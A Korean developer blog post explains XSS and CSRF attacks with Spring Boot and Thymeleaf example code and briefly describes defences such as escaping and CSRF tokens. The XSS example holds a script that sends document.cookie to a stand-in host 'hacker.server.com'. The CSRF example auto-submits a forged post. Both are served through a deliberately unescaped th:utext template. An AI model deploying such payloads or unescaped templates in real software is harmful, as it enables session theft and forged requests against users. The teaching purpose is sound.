반응형
XSS(Cross-Site Scripting)
설명
- 웹사이트에 악성 스크립트를 삽입하여 사용자의 정보(쿠키, 세션) 등을 탈취하거나 비정상적인 기능을 수행하게 할 수 있는 공격을 말한다.
- 예를 들면 게시판의 한 게시글을 읽을 경우 해커가 심어놓은 스크립트를 동작하도록 하여 해당 사용자의 쿠키 정보를 해커 서버로 전송하도록 유도하여 공격할 수 있다.
- 공격 대상이 클라이언트이다.
- 보통 스크립트를 활용하는 공격 방식이기 때문에 script와 관련된 코드는 일반 평문으로 치환하는 방식으로 공격을 대응한다.
- ex) "<" -> "<"
- ex) ">" -> ">"
- 예시 코드는 spring boot + thymeleaf 조합으로 작성하였다.
unsafe.html
- 경로 : ~/src/main/resources/templates/unsafe.html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Unsafe</title>
</head>
<body>
<div th:utext="${content}"></div>
</body>
</html>
XssController
@Controller
public class XssController {
@GetMapping("/xss")
public String tryXssAttack(Model model) {
// 해커가 작성한 게시글 내용이 아래와 같고, 한 사용자가 이 게시글을 읽을 경우
// 아래 스크립트가 동작하여 해커 서버로 사용자의 쿠키 정보를 전달한다.
StringBuilder html = new StringBuilder();
html.append("<script>");
html.append("window.onload = function() {");
html.append("fetch('http://hacker.server.com:8080/save-cookies?cookies=' + document.cookie);");
html.append("}");
html.append("</script>");
model.addAttribute("content", html);
return "unsafe";
}
}
CSRF(Scross-Site Request Forgery)
설명
- 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위로 해당 웹사이트에 요청하도록 유도하는 공격을 말한다.
- 예를 들면 게시판의 한 게시글을 읽을 경우 해커가 심어 놓은 스크립트를 동작하도록 하여 해당 사용자의 권한으로 다른 게시글을 작성하게 할 수 있다.
- 공격 대상이 서버이다.
- 의도하지 않은 요청 발생을 막기 위해 의도한 요청만 처리되도록 CSRF 토큰과 같은 인증 방식을 도입하여 대응한다.
- ex) 서버에서 form 요청을 하는 페이지를 내려줄 때 form 태그 안에 hidden input으로 csrf 토큰값을 넣고 해당 값으로 검증하여 처리
- 위와 마찬가지로 예시 코드는 spring boot + thymeleaf 조합으로 작성하였다.
unsafe.html
- 경로 : ~/src/main/resources/templates/unsafe.html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Unsafe</title>
</head>
<body>
<div th:utext="${content}"></div>
</body>
</html>
CsrfController
@Controller
public class CsrfController {
@GetMapping("/csrf")
public String tryCsrfAttack(Model model) {
// 해커가 작성한 게시글 내용이 아래와 같고, 한 사용자가 이 게시글을 읽을 경우
// 아래 스크립트가 동작하여 해당 사용자가 의도하지 않은 또다른 게시글을 작성하도록 한다.
StringBuilder html = new StringBuilder();
html.append("<div>");
html.append("<form method='post' action='/boards' id='my_form'>"); // 해당 사이트의 게시글 작성 요청이 POST /boards
html.append("<input name='title' value='Hi'/>");
html.append("<input name='content' value='Thanks'/>");
html.append("</form>");
html.append("<script>");
html.append("window.onload = function() {");
html.append("document.querySelector('#my_form').submit();");
html.append("}");
html.append("</script>");
html.append("</div>");
model.addAttribute("content", html);
return "unsafe";
}
}
반응형
'Development > Security' 카테고리의 다른 글
[Security] Reflected XSS (0) | 2020.12.30 |
---|---|
[Security] ReDos Attack (0) | 2020.12.30 |